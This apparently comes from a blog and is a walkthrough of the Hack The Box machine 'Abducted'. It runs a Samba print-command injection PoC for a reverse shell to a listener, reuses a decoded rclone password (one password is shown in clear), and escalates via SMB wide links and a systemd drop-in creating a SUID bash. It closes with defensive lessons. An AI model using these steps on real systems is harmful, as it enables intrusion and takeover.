Abducted — Full Walkthrough

Difficulty: Medium
Author (box): TheCyberGeek
Date: 2026-07-04

Reconnaissance
Initial Access — CVE-2026-4480
User Flag — rclone Password Reuse
Root Flag — SMB Wide Links → Polkit → SUID Bash
Flags
Lessons Learned

1. Reconnaissance

1.1 Host discovery

ping -c 2 10.129.244.177

The host is reachable with a TTL of 63, suggesting a Linux machine one hop away.

1.2 Port scan

nmap -sC -sV -p- --min-rate 1000 10.129.244.177

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4

Only three ports are open: SSH and SMB.

1.3 SMB enumeration

List shares with a null session:

smbclient -L //10.129.244.177 -N

Sharename       Type      Comment
---------       ----      -------
HP-Reception    Printer   Reception printer
projects        Disk      Hartley Group Project Files
transfer        Disk      Staff file transfer
IPC$            IPC       IPC Service (Hartley Group Document Services)

We have a printer share (HP-Reception) and two disk shares (projects, transfer).

Check server info:

rpcclient -U "" -N 10.129.244.177 -c "srvinfo"

ABDUCTED       Wk Sv PrQ Unx NT SNT Hartley Group Document Services
platform_id     :   500
os version      :   6.1
server type     :   0x809a03

The PrQ flag tells us this is a print server, and Unx confirms a Unix backend.

2. Initial Access — CVE-2026-4480

2.1 Vulnerability overview

CVE-2026-4480 is a command-injection flaw in Samba’s print subsystem. When printing = sysv and the configured print command references %J (the client-supplied job name), Samba passes the job name to system() without escaping shell metacharacters. Because guest access is allowed on HP-Reception, this is exploitable without credentials.

The vulnerable smb.conf section is:

[HP-Reception]
   path = /var/spool/samba
   printable = yes
   guest ok = yes
   print command = /usr/local/bin/printaudit %J %s

The printaudit binary uses %J unquoted, so a job name of |sh turns the command into:

/usr/local/bin/printaudit |sh /var/spool/samba/spoolfile

The spool file body is then piped into /bin/sh and executed.

2.2 Exploit setup

Download the public PoC by TheCyberGeek:

curl -sL https://raw.githubusercontent.com/TheCyberGeek/CVE-2026-4480-PoC/main/exploit.py \
  -o cve_2026_4480_exploit.py

Requirements:

sudo apt install python3-samba

Start a listener:

nc -lvnp 4444

2.3 Fire the exploit

python3 cve_2026_4480_exploit.py 10.129.244.177 10.10.14.14 4444

Output:

[*] target   : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.14.14:4444
[+] print job submitted -- check your listener / out-of-band channel

2.4 Catch the shell

Connection received on 10.129.244.177 33102
bash: cannot set terminal process group (5230): Inappropriate ioctl for device
bash: no job control in this shell
nobody@abducted:/var/spool/samba$

We are running as the nobody service account.

3. User Flag — rclone Password Reuse

3.1 Find the backup configuration

From the nobody shell, search for backup or rclone files:

find / -name .rclone.conf -o -name rclone.conf 2>/dev/null

Result:

/opt/offsite-backup/rclone.conf

Read it:

cat /opt/offsite-backup/rclone.conf

[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = REDACTED shell_type = unix

The same directory also contains sync.sh:

#!/bin/bash
/usr/bin/rclone --config /opt/offsite-backup/rclone.conf sync /srv/projects offsite:projects

3.2 Decrypt the rclone password

rclone stores passwords with reversible obfuscation. Use rclone’s own tooling:

rclone reveal 'REDACTED'

REDACTED

3.3 Test credential reuse

Try the decrypted password against the local users scott and marcus:

sshpass -p 'REDACTED' ssh scott@10.129.244.177 'id'

uid=1000(scott) gid=1001(scott) groups=1001(scott)

marcus fails with this password, so the password is reused for scott.

3.4 Grab the user flag

sshpass -p 'REDACTED' ssh scott@10.129.244.177 'cat /home/scott/user.txt'

REDACTED

4. Root Flag — SMB Wide Links → Polkit → SUID Bash

4.1 Inspect the SMB configuration as scott

scott can read /etc/samba/smb.conf and /etc/samba/shares.conf:

cat /etc/samba/smb.conf

Key global options:

unix extensions = no
allow insecure wide links = yes

The transfer share is configured as:

[transfer]
   comment = Staff file transfer
   path = /srv/transfer
   valid users = scott
   force user = marcus
   read only = no
   wide links = yes
   browseable = yes

This means: – Only scott can authenticate to the share. – Every operation inside the share is performed as marcus. – Symlinks can point outside /srv/transfer.

4.2 Discover the pre-existing symlink

List the share root locally on the target:

ls -la /srv/transfer

total 8
drwxr-xr-x 2 scott scott 4096 Jul  3 19:20 .
drwxr-xr-x 4 root  root  4096 Mar 31  2025 ..
lrwxrwxrwx 1 scott scott   12 Jul  3 19:20 ma -> /home/marcus
lrwxrwxrwx 1 scott scott   12 Jul  3 19:17 marcus -> /home/marcus
lrwxrwxrwx 1 scott scott   12 Jul  3 19:11 mh -> /home/marcus

If no symlink existed, you could create one with:

smbclient //10.129.244.177/transfer -U 'scott%iXzvcib3SrpZ' -c 'symlink /home/marcus marcus_home'

However, the CTF already left several symlinks in place, so we can use marcus directly.

4.3 Generate an SSH key pair

On your attacker machine:

ssh-keygen -t ed25519 -f /tmp/abducted_marcus -N '' -C 'marcus@abducted'

4.4 Upload the public key into marcus’s home

Connect through the transfer share and navigate via the symlink:

smbclient //10.129.244.177/transfer -U 'scott%iXzvcib3SrpZ' \
  -c 'cd marcus/.ssh; put /tmp/abducted_marcus.pub authorized_keys; ls; exit'

Output:

putting file /tmp/abducted_marcus.pub as \marcus\.ssh\authorized_keys (4.1 kb/s) (average 4.1 kb/s)
  .                                   D        0  Fri Jul  3 15:12:20 2026
  ..                                  D        0  Thu Jun  4 09:41:30 2026
  authorized_keys                     A       97  Sat Jul  4 06:48:47 2026

Because force user = marcus, the file is written with marcus’s privileges, bypassing normal directory permissions.

4.5 SSH as marcus

ssh -o IdentitiesOnly=yes -i /tmp/abducted_marcus marcus@10.129.244.177

Verify:

id

uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

marcus is a member of the operators group.

4.6 Polkit delegation

Read the polkit rule (as root, or use the SUID bash once available):

cat /etc/polkit-1/rules.d/49-smbd-operators.rules

polkit.addRule(function(action, subject) {
    if (!subject.isInGroup("operators")) { return; }
    if (action.id == "org.freedesktop.systemd1.reload-daemon") {
        return polkit.Result.YES;
    }
    if ((action.id == "org.freedesktop.systemd1.manage-units" ||
         action.id == "org.freedesktop.systemd1.manage-unit-files") &&
        action.lookup("unit") == "smbd.service") {
        return polkit.Result.YES;
    }
});

This grants members of operators permission to reload systemd, edit, and restart the smbd.service unit.

4.7 Create a malicious systemd drop-in

As marcus, create an override for smbd.service:

mkdir -p /etc/systemd/system/smbd.service.d
cat > /etc/systemd/system/smbd.service.d/override.conf << 'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF

Reload systemd and restart the service:

systemctl daemon-reload
systemctl restart smbd

Because of the polkit rule, these commands succeed without a root password.

4.8 Escalate to root

The restart executes the ExecStartPre directives, copying /bin/bash to /tmp/.rb and setting the SUID bit:

ls -la /tmp/.rb

-rwsr-xr-x 1 root root 1446024 Jul  3 19:24 /tmp/.rb

Run it with -p to preserve the effective UID:

/tmp/.rb -p -c "id; whoami"

uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)
root

4.9 Grab the root flag

/tmp/.rb -p -c "cat /root/root.txt"

REDACTED

5. Flags

Flag	Value
User (`/home/scott/user.txt`)	`REDACTED`
Root (`/root/root.txt`)	`REDACTED`

5. Lessons Learned

CVE-2026-4480 is a critical pre-auth RCE. Patch Samba to 4.22.10 / 4.23.8 / 4.24.3 or later, or quote %J in print command.
Service passwords should not be reused for interactive accounts. The rclone backup password gave direct access to scott.
Backup configs must not be world-readable. /opt/offsite-backup/rclone.conf was readable by nobody.
SMB wide links + force user is dangerous. It allowed a lower-privileged user (scott) to write files as another user (marcus) outside the share root.
Polkit delegation must be narrow. Granting a group the right to manage a service that runs as root (smbd) allows privilege escalation via malicious drop-ins.

Blackwood Security.

HTB Abducted

Abducted — Full Walkthrough

Table of Contents

1. Reconnaissance

1.1 Host discovery

1.2 Port scan

1.3 SMB enumeration

2. Initial Access — CVE-2026-4480

2.1 Vulnerability overview

2.2 Exploit setup

2.3 Fire the exploit

2.4 Catch the shell

3. User Flag — rclone Password Reuse

3.1 Find the backup configuration

3.2 Decrypt the rclone password

3.3 Test credential reuse

3.4 Grab the user flag

4. Root Flag — SMB Wide Links → Polkit → SUID Bash

4.1 Inspect the SMB configuration as scott

4.2 Discover the pre-existing symlink

4.3 Generate an SSH key pair

4.4 Upload the public key into marcus’s home

4.5 SSH as marcus

4.6 Polkit delegation

4.7 Create a malicious systemd drop-in

4.8 Escalate to root

4.9 Grab the root flag

5. Flags

5. Lessons Learned

Gefällt mir:

HTB Abducted

HTB Season 9

Kommentar verfassenAntwort abbrechen

HTB Abducted

Abducted — Full Walkthrough

Table of Contents

1. Reconnaissance

1.1 Host discovery

1.2 Port scan

1.3 SMB enumeration

2. Initial Access — CVE-2026-4480

2.1 Vulnerability overview

2.2 Exploit setup

2.3 Fire the exploit

2.4 Catch the shell

3. User Flag — rclone Password Reuse

3.1 Find the backup configuration

3.2 Decrypt the rclone password

3.3 Test credential reuse

3.4 Grab the user flag

4. Root Flag — SMB Wide Links → Polkit → SUID Bash

4.1 Inspect the SMB configuration as scott

4.2 Discover the pre-existing symlink

4.3 Generate an SSH key pair

4.4 Upload the public key into marcus’s home

4.5 SSH as marcus

4.6 Polkit delegation

4.7 Create a malicious systemd drop-in

4.8 Escalate to root

4.9 Grab the root flag

5. Flags

5. Lessons Learned

Teilen mit:

Gefällt mir:

HTB Abducted

HTB Season 9

Kommentar verfassenAntwort abbrechen